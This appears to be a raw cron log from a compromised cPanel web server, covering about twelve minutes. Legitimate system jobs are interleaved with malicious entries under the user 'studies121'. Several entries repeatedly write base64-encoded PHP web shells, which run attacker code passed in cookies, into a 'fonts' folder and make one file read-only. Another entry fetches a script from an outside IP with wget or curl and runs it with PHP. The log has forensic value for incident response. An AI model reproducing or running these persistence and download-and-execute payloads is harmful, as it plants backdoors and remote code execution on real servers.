Sep  2 08:35:01 ip-184-168-122-23 CROND[14833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:35:01 ip-184-168-122-23 CROND[14837]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:35:01 ip-184-168-122-23 CROND[14839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:35:01 ip-184-168-122-23 CROND[14836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:36:01 ip-184-168-122-23 CROND[14949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:36:01 ip-184-168-122-23 CROND[14952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:36:01 ip-184-168-122-23 CROND[14951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:36:01 ip-184-168-122-23 CROND[14954]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:36:01 ip-184-168-122-23 CROND[14953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:37:02 ip-184-168-122-23 CROND[15134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:37:02 ip-184-168-122-23 CROND[15136]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:37:02 ip-184-168-122-23 CROND[15137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:37:02 ip-184-168-122-23 CROND[15135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:38:01 ip-184-168-122-23 CROND[15232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:38:01 ip-184-168-122-23 CROND[15231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:38:01 ip-184-168-122-23 CROND[15234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:38:01 ip-184-168-122-23 CROND[15230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:38:01 ip-184-168-122-23 CROND[15233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:39:01 ip-184-168-122-23 CROND[15438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:39:01 ip-184-168-122-23 CROND[15439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:39:01 ip-184-168-122-23 CROND[15441]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 08:39:01 ip-184-168-122-23 CROND[15442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:39:01 ip-184-168-122-23 CROND[15444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:40:01 ip-184-168-122-23 CROND[15553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:40:01 ip-184-168-122-23 CROND[15551]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:40:01 ip-184-168-122-23 CROND[15555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:40:01 ip-184-168-122-23 CROND[15554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:40:01 ip-184-168-122-23 CROND[15557]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:40:01 ip-184-168-122-23 CROND[15560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:40:01 ip-184-168-122-23 CROND[15562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:40:01 ip-184-168-122-23 CROND[15564]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:41:01 ip-184-168-122-23 CROND[15703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:41:01 ip-184-168-122-23 CROND[15702]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:41:01 ip-184-168-122-23 CROND[15704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:41:01 ip-184-168-122-23 CROND[15705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:42:01 ip-184-168-122-23 CROND[15858]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:42:01 ip-184-168-122-23 CROND[15859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:42:01 ip-184-168-122-23 CROND[15860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:42:01 ip-184-168-122-23 CROND[15861]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:42:01 ip-184-168-122-23 CROND[15864]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:43:01 ip-184-168-122-23 CROND[15971]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:43:01 ip-184-168-122-23 CROND[15972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:43:01 ip-184-168-122-23 CROND[15973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:43:01 ip-184-168-122-23 CROND[15974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:44:01 ip-184-168-122-23 CROND[16175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:44:01 ip-184-168-122-23 CROND[16178]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:44:01 ip-184-168-122-23 CROND[16176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:44:01 ip-184-168-122-23 CROND[16177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:44:01 ip-184-168-122-23 CROND[16179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:45:01 ip-184-168-122-23 CROND[16277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:45:02 ip-184-168-122-23 CROND[16279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:45:02 ip-184-168-122-23 CROND[16281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:45:02 ip-184-168-122-23 CROND[16280]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:45:02 ip-184-168-122-23 CROND[16282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:45:02 ip-184-168-122-23 CROND[16283]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  2 08:45:02 ip-184-168-122-23 CROND[16284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:46:01 ip-184-168-122-23 CROND[16402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:46:01 ip-184-168-122-23 CROND[16403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:46:01 ip-184-168-122-23 CROND[16404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:46:01 ip-184-168-122-23 CROND[16408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:46:01 ip-184-168-122-23 CROND[16411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:46:01 ip-184-168-122-23 CROND[16412]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 08:46:01 ip-184-168-122-23 CROND[16410]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 08:47:01 ip-184-168-122-23 CROND[16519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:47:01 ip-184-168-122-23 CROND[16520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:47:01 ip-184-168-122-23 CROND[16521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
